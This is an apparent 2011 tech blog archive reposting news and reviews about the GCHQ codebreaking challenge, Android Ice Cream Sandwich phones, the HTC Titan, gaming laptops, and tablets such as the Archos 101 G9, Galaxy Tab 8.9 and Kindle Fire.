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canyoucrackit puzzle to have hidden layer?

2011-12-07T21:54:00.003+07:00

While the initial set of codes have been broken, code breakers and hackers believe there may be one last piece of the puzzle to solve in GCHQ's site

GCHQ's canyoucrackit.co.uk website may have more than meets the eye, or at least that's what code breakers believe after having solved what was initially thought to be the only puzzles on the site.

After having cracked it once, Amatuer Code Breaker John Graham-Cumming believes that there is yet more to be solved on the website having found what he believes to be non-random code at the last stage of completing the challenge.

Having taken the web by storm, this unorthodox selection method was set up to find the best code breakers in the country and potentially recruit them into GCHQ.

Since then the site has shown a slogan saying 'The challenge continues' however GCHQ has been entirely unforthcoming about what this entails, for now though we'll have to wait and see whether this is all a game of smoke and mirrors or if the site does actually have secrets yet to be uncovered.

Source: The Register

Android Ice Cream Sandwich 4.0

2011-12-07T21:51:00.003+07:00

The Android Army can rejoice in the fact that Ice Cream Sandwich 4.0 is official, and is set to bring the best of Honeycomb and Gingerbread into one OS

The wait for Android 4.0 might be an excruciating one for smartphone and tablet users, but to help you get an idea of what you can expect, we've spent some time with the Samsung Galaxy Nexus, the world's first Android 4.0 smartphone to help you get acquainted with the very best Android Ice Cream Sandwich features.

New look OS UI

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New look UI

Built from the ground up and optimized for tablet devices, the best of Honeycomb will be available to Android phone users as well. There are the familiar horizontal homescreens which can be swiped across and filled with apps and widgets, with the addition of some neat graphics which have clearly taken cues from Honeycombs 3D-effect UI.

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Samsung Galaxy Nexus review

2011-12-07T21:48:00.001+07:00

The Samsung Galaxy Nexus will rank as one of the year’s biggest smartphone launches, and it heralds the release of an operating system that will shape the course of 2012 as well.

Android 4.0, or headline writer’s nightmare Ice Cream Sandwich, is Google’s update to their whole mobile OS, and the vision of their latest release is based around a single vision: ‘enchant me, simplify My life and make me awesome.’

The turbulent market means one bad release could be fatal for one of the big players, and with the positive release of iOS 5 loaded with cool innovations such as Siri, the pressure is on Google to enchant consumers all over again.

Samsung Galaxy Nexus: Design and features

There’s no denying it, the Samsung Galaxy Nexus is a giant. The 4.6” screen continues the industry’s current obsession with supersizing our smartphones, and anyone who’s short on handbag space will probably want to look elsewhere.

It dwarves the no-so-compact iPhone 4S, and the pocket busting bulk will be an instant deal-breaker for many people. However, it weighs exactly the same as the iPhone 4S at 140g. What it doesn't have though is support for a micro SD card, or any storage card for that matter, and it can't be used a mass storage device either. That means you can't plug it straight in to your PC and download media on to it - shame because Android 4.0 natively supports hooking up mobile devices to your PC via USB. A strange absence from Samsung.

While it is large, the Nexus is still very slim, and fits snugly in the hand. There’s a textured back, which adds grip, and the physical buttons are well positioned, with the wake/sleep button ideally placed next to your thumb in the right hand, or index finger of the left.

When you start the phone, the quality of the giant 4.6” glass panel is immediately apparent. Samsung has included a 1280x720 AMOLED screen, which is simply mind-blowing, with deep vibrant colours, and pin sharp detail. Blacks do look pixelated on close inspection, but overall, the picture is superb.

The Nexus is aligned very closely to Samsung’s extremely popular Galaxy S2 handset, featuring the same Texas Instruments 1.2GHz processor. However, disappointingly and perplexingly, the camera has been downgraded to 5MP.

Image quality is still perfectly acceptable, and unlike the Galaxy SII, the Nexus enjoys near instantaneous shutter speeds, with zero delay between pressing the capture button, the photo being taken, and then returning to the next photo.

The single motion panorama feature is also excellent, which enables you to scan the horizon, before the Nexus stitches the shots together, rather than having to manually work with the images. It produced some bizarre and crazy results, often with obvious stitching, and quality seemed to be impaired too.

There’s a host of camera features, such as macro settings and ISO control, which saves what could have been a real problem for the Nexus, but we can’t help being short changed, especially when the SII is due to get the Ice Cream Sandwich treatment, albeit not until next year.

As you’d expect the Galaxy Nexus captures 720p video that looks fantastic on the Nexus’ screen. The frame rate is excellent, colours vibrant, and it copes well when moving between light and dark. If you like getting creative with video, the Nexus is a top choice.

Samsung Galaxy Nexus: Android Ice Cream Sandwich

The real star of the Galaxy Nexus show is the outing of Android 4.0, more commonly known by its development moniker Ice Cream Sandwich. For smartphone users, the operating system is a huge leap forward from 2.3 ‘Gingerbread’ and noticeably better than the tablet OS Honeycomb.

The most immediate difference is an overall performance improvement. Previous iterations have been less fluid and slick than iOS, especially rendering web sites, but Ice Cream Sandwich performs how you’d expect.

Admittedly, that feature simply brings Android up to date, rather than enchant the user, or make you more awesome, but there’s plenty that’s new. The face unlock feature was the most immediately enchanting, where the front camera recognises your mug, and unlocks the handset. It’s fast, slick, works from a variety of angles and immediately usable. Google pre-warns you that it’s less secure than a PIN, and we were able to unlock the phone using a picture, but try as we might, lookalikes couldn’t gain access to the handset.

Most of the other improvements in Ice Cream Sandwich fall into the ‘simplify my life’ category. There’s improved multitasking, where apps can we swiped away to quit and improved typing accuracy. There’s also Android Beam for sharing content with other ICS users, Books which syncs with Google eBooks, Google+ for Hangouts, and plenty of new look interfaces.

Overall, ICS is a big improvement, and feels like a mature mobile operating system, that’s always led the field. The app Marketplace still can’t touch Apple’s App Store, but that’s the last area that Apple leads Google in the smartphone race.

Samsung Galaxy Nexus: Performance

Thanks to the improvements in ICS and that dual-core processor, the Nexus always feel sharp and responsive.

A noticeable improvement is web page rendering, which has been given a major boost. It appears that ICS waits for the while page to be loaded, before rendering all in one go, rather than a piece-meal building of the site, which is traditionally how browsers work. Perhaps the improvement is perceptive, and by loading the site in one go, it’s immediately responsive, but fast scrolling shows none of the jerkiness found in Gingerbread and Honeycomb.

Our benchmark tests, however, revealed a startling trend. The Nexus scored twice as highly as the Galaxy S2, despite running the same processor. This shows the affect that Ice Cream Sandwich has on this handset, and it’s one of the most powerful smartphones we’ve seen.

Samsung Galaxy Nexus: Verdict

While it might be too big for everyone’s taste, the Nexus is a beautiful handset. The screen is vibrant and one of the best we’ve seen on any handset to date.

With the addition of Ice Cream Sandwich, which marries great performance and slick features to the already an already potent operating system, it’s one of the best smartphones available at present.

There is a major problem, however. As we enter 2012, a 5MP camera on a top smartphone, which you will be potentially tied to for two years is not good enough. Yes, it’s capable of good results, but imagining what could have been is truly disappointing.

For many this will be a deal breaker, and while there’s plenty of enchanting and life simplifying features, this smartphone is one feature short of being truly awesome.

Samsung Galaxy Nexus availability: Out now

Samsung Galaxy Nexus price: From £34 per month on contract and £520 SIM-free for 16GB version

You can get the Galaxy Nexus free of charge on a £34/month contract. See www.three.co.uk for more details.

Galaxy Nexus lands in Verizon stores

2011-12-07T21:44:00.002+07:00

We know you've been impatiently awaiting its arrival, but fear not Android fans -- the Verizon version of the Galaxy Nexus is almost here... we think. A tipster sent in a shot of an internal VZW email outlining the next few weeks of launches and in-store displays. Chief amongst those is the December 8th arrival of banners, signs and other marketing materials for the world's first ICS handset. Our source reports that posters and all the relevant merch will be rolled out after close of business and the Nexus will officially go on sale December 9th. As a bonus, this also seems to confirm that the Droid 4 will be launching this Thursday. So, if you're fine with Gingerbread and have a thing for QWERTY keyboards December 8th could still be the day all your dreams come true. The rest of us will just have to wait just an extra 24 hours.

[Source of http://www.engadget.com]

HTC Titan Review

2011-12-07T21:38:00.001+07:00

A four-point-se-ven-inch smartphone. It sounds grotesque. It sounds like a distended, bloated mess of plastic and pixels, the Tsar Bomba of the bigger-is-better smartphone era. But the HTC Titan is wonderful.

Why It Matters

Windows Phone has been an outstanding mobile OS, obscured by a glossy black parade of lame, uninspiring hardware. So. Many. Generic. Black. Rectangles. The Titan, alongside Nokia's offerings, is perhaps the first Windows Phone handset worth running your eyes over (and over and over). People will notice your phone, and want to touch your phone, and care about your phone. You'll care about your phone, most importantly.

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Windows Phone was born for the big screen—it looks absolutely gorgeous inside a giant frame. If you inflate Android to these measurements, it's a cluttered mess. You're just making room for more widgets. Ditto for iOS—all you're adding are more rows of apps. But WP is unlike anything else—it doesn't just expand, it luxuriates inside a big display.

It's an inherently rectangular OS—an interface of vivid, superflat gliding tiles, not various clocks and bars and bubbles and weather balloons. It's regimented, spartan, and visually delicious. And when you take those tiles and transpose them onto a larger surface, there's only more to love—and this is the way it was meant to be. Windows Phone is an OS of hugeness—giant photos, grids of everyone you know, giant, fabulously legible text. All of these things look splendid on the Titan's crisp, vivid screen. Yes! It looks crisp, even with the pixels of that Windows-mandated resolution puffed up.

So it's really not that surprising, then: a phone based on beautiful rectangles is great when it's an even bigger rectangle. It might look or sound unmanageable, but the Titan belies its name—it's skinny, light, and slips easily into your back pocket or bag. Consider it a small, friendly giant.

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That screen girth doesn't run on fairy dust—big display means big battery suckage, and the Titan can't defeat physics here. You'll find yourself charging the thing daily with regular use. The camera also leaves you wanting images worthy of the screen they're on—HTC should have crammed in their mightiest camera, and the difference is a real shame. More discerning eyes might be bothered by stretching out 800x480 worth of pixels across the Titan's display.

Should I Buy This

If you're not afraid to have something 4.7 inches in your pants, yes. If you want the most visually pleasing birthing of the most visually pleasing smartphone UI out there, yes. If you want something more compact and battery-conscious—and that's OK!—probably not. But the Titan is more than just a gimmick phone. Unlike its Android peers that point at their AMOLED crotches and grin, HTC's big boy isn't big for the sake of its size. Windows Phone sings at this size. There's a reason supermodels are tall. [HTC]

HTC Titan

• Dimensions: 131.5 x 70.7 x 9.9mm
• Screen: 4.7-inch, 480x800
• Processor: 1.5 GHz
• Memory: 512 MB
• Camera: 8 MP still, 720p video
• Price: $200 with 2-year contract

source of http://gizmodo.com

Lenovo LePad S2005

2011-12-03T16:20:00.002+07:00

Lenovo LePad S2005

Lenovo, which announced a page of history books Android, this phone just Lenovo LePad S2005 for the Chinese market. This gingerbread pushes the recent trend of super-sized phones in the field in tablet form. But this is already done before. The Dell Streak struck back with a 5-inch screen with pride in 2010. But even then stole the show in most EVO 4G, so the Dell Streak in the background. The Lenovo LePad S2005, or as it is also to be the mark of the Lenovo LePad S2005 IdeaTad a chance to really make it big in today’s roaring Market.

Lenovo LePad S2005 – Full Review

Inside the Lenovo LePad S2005 is a heart Qualcomm dual 1.2 GHz, 1GB of RAM and a 480 TFT display with a viewing angle of 178 degrees. Rocks 2.3.5 phone and it does not seem to talk about Ice Cream Sandwich. 1680 mAh battery provides power to the unit as a whole. Despite the broader context, the Lenovo LePad S2005 has only the connectivity ports on a standard micro-USB port and micro HDMI port. The Chinese taste HSPA + uses a radio network for China Unicom, but leadership models in different markets might have otherwise.

Lenovo launches LePad S2005, S2007 and S2010 tablets in Beijing this morning, following the K1. The offer is likely to be the IdeaTab outside China to be known, but it seems that the model numbers remain the same. All three devices are needed with the bands for the W-CDMA network of China Unicom.

The Lenovo LePad S2005 5-inch is the same that is to phone or tablet-a-field confusion that the Dell Streak 5 and the reference Samsung Galaxy. He runs a skinned version of Android 2.3.5 on a screen 800 x 480 TFT (advertisers impressive viewing angle of 178 degrees), with a 1.2 GHz dual-core processor and 1 GB of RAM. Memory is expandable, but there is no word on how much is included. The device also offers a couple of cameras, a 5 megapixel device is able to take 1080p on the back and a 1.3 megapixel webcam forward. HDMI out is also included, with Wi-Fi and a 1650mAh battery.

The S2007 and S2010 are familiar-looking Android 3.2 Honeycomb devices, although out of respect for the individuality both as orange and black. Both are 1280 x 800 IPS displays a contrast ratio of 1500:1, 7-inch version is of course a higher density of pixels on the S2010. The tablets have a 1.5 GHz dual-core processor and 1 GB of RAM powered reproduced without information on storage conditions. The tablets are coated with an 8-megapixel and 1.3 megapixel camera combo, Wi-Fi, 3780mAh and 7560mAh batteries or in the 7 – and 10-inch devices.

Lenovo LePad S2005 – Finally

Lenovo has no price for its S-series announced by LePads but Engadget Chinese suggest that the Lenovo LePad S2005 will be available in a few days. Without confirmation that the name IdeaTab is used, the international launch could be a way off.

For a better idea of how this form to compete, see our comparisons for the Lenovo LePad S2005, S2007, and S2010.

source of http://coolgadgetsinfo.net

Galaxy Nexus HSPA

2011-12-03T15:51:00.002+07:00

Galaxy Nexus HSPA+

The only thing with the phone Nexus series is that all updates will be available to run on these phones before they are made available on other phones. These are some of the many discounts on cell phones, with the collaboration of Google and the Galaxy Nexus HSPA+ will be made, is one of the last series phones.

Galaxy Nexus HSPA+ – Full Review

With a thickness of 8.94mm and only weighing 135grams, it can also be portable and not bulky. However, it has a huge screen real area of 4.65 inch Super AMOLED screen with a HD resolution of 1280 x 720 pixels. Like all Super AMOLED screens, take excellent images of the Galaxy Nexus HSPA+.

source of http://coolgadgetsinfo.net

HTC mulling Chromebook

2011-11-30T09:55:00.002+07:00

Samsung's Chromebook may soon have more company

HTC is reportedly considering creating an 'internet access device' using Chrome OS and Android.

According to Digitimes' component maker sources, the company is looking at combining "the advantages" of Chrome OS and Android for some kind of tablet or Chromebook device.

It's not abundantly clear how this dual-OS scenario would work, perhaps by dual-booting the two OSes or in some mash-up between the two.

We're not sure what form the 'internet access device' would take either - HTC has more heritage in mobile devices like the smartphone and tablet, but Chromebooks have thus far been netbook-style offerings and Android 4.0 (Ice Cream Sandwich) really has the tablet side of things covered.

Chrome-look

The news that HTC is eyeing Chrome OS comes despite disappointing sales of the Acer and Samsung Chromebooks already on the market.

We're not really convinced that HTC would make a netbook - and with HTC and Google staying firmly silent on the matter and only Digitimes and its anonymous source's word to go on, we can't award this rumour much more than a grudging 'it's possible' on the TechRadar rumourometer.

From Digitimes

Is there even life in the old Chromebook yet? We ask and answer the eternal cloud-loving netbook questions in our video on the topic below:

source of http://www.techradar.com

Best Gaming Laptop

2011-11-30T09:52:00.001+07:00

Choosing the right gaming laptop is about choosing the right chips

Is the golden era of laptop gaming a goner? Let's consider the past a second. Wind the clock way back to September 2005 and Nvidia had just launched the GeForce 7800 GTX Go. It was a big, bad 24-pipe beast.

What's more, the mobile and desktop iterations were absolutely identical, save for a small gap in clockspeeds. Finally, mobile machines could go toe to toe with their desk-bound buddies.

Sadly, it was but a temporary anomaly. Nvidia did manage a follow up with the closely related 7900 series but since then, there hasn't been a pukka mobile graphics chip hewn from precisely the same silicon as the very fastest desktop GPU of the day.

Ultimately, there's no getting round the constrained thermals, packaging and power capacity of a portable, even one with pizzabox proportions. That's especially true now that graphics chips are massively parallel monsters with hundreds of fl oating point processing units.

The grunt gap

The bottom line is, you're not going to be able to achieve true desktop performance with any machine that can truly be described as portable. Graphics performance is critical for gaming grunt and without access to the fastest video chips, laptops are always going to be second string.

But that doesn't mean gaming on the move is futile. Lordy, no. The best mobile graphics chips may not be as quick as the very finest desktop fare. But by any sane metric, they are incredibly complex bits of kit, capable of astonishing feats of 3D rendering.

The fact that PC graphics in terms of game engines has somewhat stagnated helps, too. Partly that's because prevailing games consoles tend to set a fixed target for cross-platform developers and current consoles are getting on a bit. More to the point, there are mobile graphics chips that thump seven shades out of any console. But exclusive-for-PC titles haven't exactly raced ahead, either.

Meanwhile, the old will-it-play-Crysis adage seems more irrelevant than ever. All of which means you can have your portability pie and eat your gaming gateau.

Take laptop gaming, simmer over a low heat and reduce to its core components. You'll be left with three things. Graphics, graphics and graphics. Okay, it is possible to spoil a mobile gaming rig by plopping in the wrong CPU or slapping on a shonky screen. But without a shadow of a doubt, the most critical single component is the graphics.

That may seem obvious. But there are shed loads of serious sexy looking multimedia laptops out there. It would be awfully tempting to gloss over the mediocre graphics in return for a shiny screen and a slick looking chassis. But trust us on this. That would be a monumental mistake.

The first rule of mobile gaming, then, involves discrete graphics. Put simply, you need a separate video chip. No ifs. No buts. Do not pass go. Do not collect £200. Just ensure any laptop you buy with a view to gaming has a discrete GPU.

Integrated graphics

Admittedly, both Intel and AMD offer much better integrated graphics today than ever before. AMD in particular has upped its integrated game with the Llano APU, which packs no fewer than 400 stream shaders, making it massively more powerful than the 80 shaders of its past best.

The problem is, even with 400 shaders Llano's performance is only on a par with a fairly lowly discrete graphics card. More importantly, the in-game experience with the latest and most demanding titles is miserable.

This isn't going to change any time soon and a big part of the reason why involves memory bandwidth. Good GPUs have superwide memory buses of 256-bit or more. They also pack crazy-fast GDDR memory with effective data rates north of 5GHz. Put the two together and you have a recipe for bandwidth bigness measured in hundreds of gigabytes per second.

And before you ask, yes, even mobile graphics cards have pretty quick memory chips. The current state of the mobile graphics memory art is good for around 100GB/s of bandwidth. Now consider a modern CPU with on-board, integrated graphics. AMD and Intel's mainstream processors have memory controllers with just two 64-bit channels. Even Intel's LGA 1366 beasties only have three 64-bit channels. Meanwhile, you'll be lucky to hit 2GHz data rates for main system memory.

All in, an overall bandwidth result measuring 20-something-GB per second is a great result for a CPU. In other words, discrete graphics chips have orders of magnitude more memory bandwidth. And don't forget, what little bandwidth is available for the CPU must be shared with the integrated graphics core.

At low resolutions and detail settings or paying ancient games, the impact isn't too awful. But who wants to play old or ugly games? It almost doesn't matter how powerful AMD and Intel make their next generation integrated graphics cores. It's actually the memory interface they need to sort out first.

Unless you're happy restricting yourself to five-year-old titles or jaggy pixel vision in newer games, then, the advice regarding integrated graphics remains the same. No touchy. So, now that you're convinced your gaming portable needs a proper graphics chip, the big question is which one.

As it has been, is, and seemingly shall ever more be, it's the AMD-Nvidia duopoly that owns performance laptop graphics. A quick browse of their product lists will throw up a lot of very familiar looking brands, monikers and product numbers. Simply a stick an 'M' for mobile on the end of any given desktop graphics chipset and you have its laptop equivalent.

Processing power

Sadly, however, all is not quite what it seems. For instance, Nvidia GeForce GTX 580M is not a 512 stream processor powerhouse like the GTX 580 desktop chip. Instead, it packs 384 processors.

The same goes for AMD's top Radeon HD 6990M. Not only does it not pack dual GPUs like the desktop 6990M, but the single GPU it does have is from a rung down in AMD's GPU hierarchy. If that sounds confusing it's because it is.

But once you get over the disappointment of the misleading product names, there is some consistency. For starters, both AMD and Nvidia are up to exactly the same game. And as a general rule of thumb, and just like the examples above, mobile graphics chips are based on the GPU one below the desktop chipset of the same name.

From the very top and kicking off with Nvidia, then, we get the aforementioned GeForce GTX 580M and its 384 stream processors, 64 texture units, 32 ROPs and 256-bit memory bus. Clearly, what we have here is the GPU known internally at Nvidia as the GF114 and sold in desktop trim as the GeForce GTX 560Ti.

While it may not be Nvidia's top graphics chip, it still weighs in with a barely believable two billion transistors, making it massively more complex than the likes of a £800 six-core Intel CPU. As for clock speeds, the mobile GF114 loses around 25 per cent compared to its desktop sibling. The same goes for memory data rates.

Next up is the GTX 570M. Once again it's based on GF114 but with a few sectors disabled. The result is 336 processors, 56 textures, 24 ROPs and a 192-bit memory bus. Then there's the GTX 560M. As per the one-rung-down rule, this little beauty uses the chip formerly known as GF106. It's the GPU that powers the GeForce GTX 550 Ti on the desktop. Vital stats include 192 processors, 32 textures, 24 ROPs and a choice of 128-bit and 192-bit memory buses.

Below that, Nvidia does have further discrete mobile graphics offerings. The GTX 555M is essentially a slightly hobbled 560M and worth a look if the price is right and you're on a tight budget. But we wouldn't go any lower than that. The 550M, for example, makes do with just 96 processors and under 30GB per second of memory bandwidth. We really wouldn't go there.

As for AMD, the Radeon HD 6990M takes pole position with 1,120 stream processors, 56 textures, 32 ROPs and a 256-bit memory bus. It is, in other words, none other than Barts, the chip found in the Radeon HD 6870 desktop GPU family. Remember, however, that AMD and Nvidia's stream processors are far from equal. Despite what appears to be a massive advantage over the GTX 580M, the 6990M delivers very similar performance.

Drop a rung and you come to a pair of cut-down Barts GPUs with 960 processors, 48 textures and 32 ROPs each. The only difference between the HD 6790M and HD 6970M is a 100MHz core clockspeed advantage for the former.

Rounding out AMD's interesting mobile graphics line up are a trio of laptop chips based on the Juniper GPU: the HD 6870M, 6850M and 6830M. All sport 800 processors, 40 textures, 16 ROPs and a 128-bit memory bus. Again, it's the clockspeeds that set them apart. What's more, just like Nvidia, AMD does offer a number of more modest mobile GPUs. And once again, we wouldn't go there.

Pixel punch

Matching screen resolution with GPU power is another crucial ingredient for mobile gaming. More pixels make for sharper, more dramatic visuals and, just maybe, more immersive gaming. But they also ratchet up the workload.

It's also worth remembering that even a monster 17-inch lappy has a much smaller screen than a modern desktop PC. And that means you don't need full-HD resolutions to have a nice tight pixel pitch.

Of course, you're probably going to be using your get-up-and-go gaming rig for more than merely fragging. So you don't want to go too low. Unless you're on a seriously stingy budget, we'd therefore avoid 1,280 x 720 or 1,366 x 768. On the other hand, 1,920 x 1,080 is really too much for all but the most powerful mobile GPUs. In fact, if you want the best possible longevity of gaming grunt, we'd probably recommend you avoid 1,080p, period.

Instead, 1,600 x 900 is probably the best all round compromise between graphics workload, eye candy and desktop elbow room. Shame, then, that it's one of the more rarely offered resolutions.

While we're on the subject of screens, it's sad to have to report that laptop LCD technology hasn't been doing anything interesting lately. A couple of years ago, the switch was made from 16:10 to the slightly wider and more HDTV-friendly 16:9 format. The same thing happened on the desktop at around the same time.

For the most part, we'd prefer laptops had stuck with the slightly taller 16:10 standard. A PC is not an HDTV and whether you're on the desktop or in-game, the vertical pixels you lose with 16:9 are sorely missed.

Panel technology

Elsewhere, screen technology has stayed more or less static. The vast, vast, vast majority of laptops make do with TN panel technology. And not terribly good TN technology. If TN desktop monitors have mediocre contrast, colours and viewing angles, mobile TN screens are usually significantly worse.

However, since we're talking about gaming lappies, TN does at least offer good pixel response. Mobile IPS screens, by comparison, usually offer serious sluggish response times. The one exception to this litany of same-old screen technology is the wide adoption of LED backlighting.

Problem is, almost all laptops have cheap white LEDs rather than pukka RGB LEDs, so the benefit in terms of colour depth is slim to none. However, LEDs are more power efficient than boggo CCFL LCD backlights, which is obviously handy for any portable PC. They also tend to last longer before losing brightness, which is nice.

Now, we mentioned earlier that gaming laptops are all about graphics. However, you do need to take a little care with your choice of CPU. As things stand, we're not too keen on AMD's notebook processors. The Athlon II and Turion II mobile processor cores we'd say forget about, they're just not up to snuff for gaming. And as we've already established, anything based on the Llano APU isn't going to be fully fit for gaming purpose.

Bulldozing ahead

The Phenom II dual, triple and quad-core mobile processors are more interesting. But they're also pretty rare. If you can find one that perfectly suits your needs, they're worth a look.

But we certainly wouldn't compromise on other specifications in order to secure a Phenom II. All things AMD are subject to change when Bulldozer-based chips arrive, of course. In the meantime, your best bet is one of Intel's Core i3, i5 or i7 processors.

Clock-for-clock, Intel's processor cores have been gruntier than AMD's for several years now. That's a critical issue in the context of mobile machines running at lower frequencies.

Best gaming laptop: the contenders

Acer Aspire Ethos 8951G - £1499

Alienware M14x - £1779

Medion Erazer X6811 - £799

MSI GT780DX - £1497

Rock Xtreme 786 - £1799

Rock Xtreme 685 - £1649

Sony VPC-F21Z1E/B1 - £1589

Toshiba Qosmio X770-107 - £1499

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source of http://www.techradar.com

Top laptops: the 20 best laptops

2011-11-30T09:50:00.001+07:00

Find the ideal notebook for you with our guide to the best laptops around

Our continually updated list of all the best laptops available today.

Choosing which laptop is the best for you can be a tricky business, and the amount of choice can be overwhelming.

There's no shortage of cheap laptops out there to choose from, but with new models being released and almost immediately replaced by manufacturers, the choice is no easy task.

As well as reading through this feature, you can also check out our video buying guide below:

The lure of netbooks and the rise of the mini-laptop are also huge factors for those looking for a new notebook, but each has their downsides.

That's why we've pored over our huge database of laptop reviews and picked out the best notebooks money can buy. We've picked out five of the best cheap laptop computers in each of four categories – the sub-£400 and sub-£600 (including some for under £500) price ranges, as well gaming laptops and lightweight notebooks.

PRICING NOTE: The prices listed here are for guidance only and aren't guarantees of availability at a certain price. Because of the wildly fluctuating availability of certain models, we often review laptops by series. As a consequence it may be that there are tens of models with similar or the same name, but available at various price points.

When considering what to buy, think about your needs and your most important factor, be it laptop battery life or screen size. The most important part is to be honest about what you need, and you could save a fortune on getting the best laptop for you.

Next Page: Best laptops under £400

source of http://www.techradar.com

Sony and Hitachi producing 4-inch iPhone 5 displays

2011-11-29T17:55:00.001+07:00

Will the iPhone 5 finally boast a 4-inch LCD screen?

Apple has reportedly teamed up with Japanese tech titans Sony and Hitachi to produce 4-inch displays for a new iOS device, presumably the iPhone 5, set to be released in 2012.

Japanese Apple news site macotakara.jp reckons that the two companies have already shipped the new LCD screens to Cupertino.

If the reports are true, it would be another step towards confirming that the next generation iPhone will have the 4-inch display many users hoped would arrive with the iPhone 4S.

Sharing the load

AppleInsider points out that Apple has history of sharing the manufacturing load around multiple partners, with reports last week claiming that Sharp is building a LCD display for the third-gen iPad model.

The site claims that Apple has invested a "significant amount" in Sharp's factories to enable them to produce IGZO displays, which will allow the device to be thinner and offer better battery life

Jeffries analyst Peter Misek said: "IGZO technology is perfect in that it offers near-OLED power consumption while having a lower cost and thinness that is only 25% greater than OLED, based on our checks."

Meanwhile macotakara.jp also reckons a Taiwanese company (as yet unspecified) is working on LCD screens for Apple for a "fundamentally changed" iPad 4.

Of course, all of the above remains unconfirmed and should, at the moment, be considered no more than interesting speculation.

source of http://www.techradar.com

Archos Tablet

2011-11-29T17:52:00.003+07:00

Full Android 3.2 operates this cheap 8GB tablet

What do you want from a tablet? It's a question that many reviews want you to ask yourself before invariably buying an iPad 2, but it's a question that's particularly relevant to the Archos 101 G9.

That's because Archos has focused on media playback for its latest machine, and it's done a pretty decent job of it. The Archos 101 G9 also happens to be a fully fledged Android 3.2 Honeycomb tablet at the same time. Plus there's the little point of cash - at £270 for 8GB, this is one of the most affordable Android 3.2 tablets that money can buy.

The obvious fear with any tablet focused on the budget market is that too many corners have been cut in order to bring it in at an iPad-destroying price point. But on paper, at least, there are no obvious miscarriages of silicon justice.

You get a 1GHz OMAP 4 dual-core processor courtesy of Texas Instruments, with a view to upgrading this to a faster 1.5GHz model in early 2012.

There are plenty of connection options - including a mini HDMI port, microSD slot and a standard micro USB port. And when it comes to the all-important display, you can rest assured that the 10.1-inch screen is capacitive (and responsive), and boasts a healthy native resolution of 1280 x 800 pixels.

The Archos 101 G9 comes in two different flavours, each defined by the storage options available. The basic unit packs 8GB of storage and has a list price of £270 (although you should be able to pick this up for around £250), while a 16GB model, the Archos 101 G9 Turbo, is going to be available at the start of 2012.

Potentially more interesting is the 250GB additional memory on the Archos 101 G9, which uses a traditional hard drive. This will obviously make the unit a little more fragile than your standard tablet, but for a media machine, that's plenty of space for hours and hours of movies.

Connection options for the base unit are limited to Wi-Fi and Bluetooth only, but Archos is keen to promote its 3G USB dongle that can be plugged into a special slot on the machine's underside. This doesn't make much sense if you're thinking of tethering this to your television, but it does enable you to extend the usefulness of the machine to compete against much more expensive options.

The dongle can be used with your PC as well, which ticks the versatility box nicely.

Next Page: Interface and apps

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Samsung Galaxy Tab 8.9

2011-11-29T17:48:00.002+07:00

The Galaxy Tab 8.9 is one of the best Android tablets out there

The Samsung Galaxy Tab 8.9 is one of the best tablets yet released.

Taking a lesson from the Samsung Galaxy Tab 10.1 and adding a few features beyond what the Apple iPad 2 offers, this thin, light and longer-lasting tablet is the best option around if you're more interested in portability than in playing games and watching movies on a 10-inch screen.

The slightly smaller size is also a better fit for reading books, browsing the web and checking email.

Some might wonder why this model even exists. After all, there's a slew of 7-inch tablets available, including the Acer Iconia Tab A100, the BlackBerry PlayBook and even the Cisco Cius, which is coming to the UK.

At its 8.9-inch size, the Samsung Galaxy Tab 8.9 fits somewhere between those 'too small for movies' 7-inch tabs and the larger 'too big for everyday mobility' 10-inch models. That makes the 8.9-inch size about right.

The Samsung Galaxy Tab 8.9 is remarkably similar to Samsung's 10.1 version. Both run Android 3.2 Honeycomb - a modern operating system designed specifically for tablets. A few 7-inch tablets use Android 2, which is designed for smartphones. The Samsung Galaxy Tab 8.9 also uses the same Nvidia Tegra 2 processor at 1GHz as the 10.1 model, has 1GB of RAM and has 16GB of internal memory.

There's a 2MP front camera for low-res video chats and a 3MP rear camera for taking photos. There are Bluetooth, HSPA internet and Wi-Fi connections on board.

The Samsung Galaxy Tab 8.9, at 447g, weighs over 100 grams less than the Samsung Galaxy Tab 10.1. You can feel the difference in weight right away. Measuring 230.9 x 157.8 x 8.6mm, there's an extra degree of portability, but you do sacrifice some screen size for movies and games.

Samsung uses a 6100mAh battery, which it claims lasts for about 10 hours. In our tests, the battery lasted about eight hours. The battery is a hair smaller and not as long lasting as the bigger 7000mAh battery found in the Samsung Galaxy Tab 10.1.

Samsung was wise to keep most of the features from the 10.1 model intact. There are widgets that add to the value of the tablet and provide easier access to social networking feeds. Using a unique pop-up application bar, you can also run mini apps such as a calculator and clock that hover above the main screen. You can move these around the screen but you can't resize them.

The Samsung Galaxy Tab 8.9 uses the same design aesthetic as the Samsung Galaxy Tab 10.1. There are only three hardware buttons - one for power and the two volume control buttons. That's a stark departure from other Android tablets that provide several more buttons, USB ports, SD card slots and HDMI ports.

You lose the USB port for adding files using a flash drive or connecting a keyboard, but gain extra portability because the device is so thin and light compared to more computer-like tablets such as the Toshiba AT100.

Samsung did outfit the Galaxy Tab 8.9 with a few interesting tweaks beyond the original 10.1 tab. There's now a screensaver app you can use for playing animations when the tablet sits idle.

In the box, Samsung includes a charger and USB cable and earbuds, but no case or stand.

In the US, the 8.9 costs $30 less than the 10.1 version so we can expect the UK model to cost somewhere in the region of £400.

Next Page: Features

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Amazon's Tablet

2011-11-29T17:45:00.001+07:00

Amazon's Kindle fire has sliced the price of buying a tablet in half

The Amazon Kindle Fire is what the tech world likes to coin a game-changer. A gadget with the potential to irrevocably alter a sector of the market to the point of no return.

A fully-fledged Android tablet with a top-level ecosystem of multimedia content for less than half the price of its competitors isn't just changing the game, it's changing the entire sport.

The long-awaited, 7-inch, Android 2.3 Gingerbread tablet, which Amazon has been diligently plotting for the last couple of years off the back of its Kindle e-reader successes, also arrives at the perfect time with the tablet arena at a crossroads.

Check out our Hands on: Kindle Fire review video. Warning it has actual (virtual) fire in it.

Despite a flood of Android Honeycomb tablets arriving throughout 2011 offering stiff critical competition to the iPad, nothing has really stuck with consumers who still, by-and-large, see Android tablets as poor-man's iPads for the rich-man's spending power.

£400+ for an undeniably luxury item is just too expensive for some, but the stunning demand for the largely mundane HP TouchPad fire sale proved people do really want affordable tablets.

Now, once Amazon decides to launch in the UK (at present there's no launch date or price in the works) everyone can own a tablet with real pedigree, minus the buyers remorse. It costs just $199 in the US, which works out to about £125.

From Amazon's point of view, the idea is simple. It believes it can replicate the success of its all-conquering Kindle reader devices by once again taking a hit on the hardware.

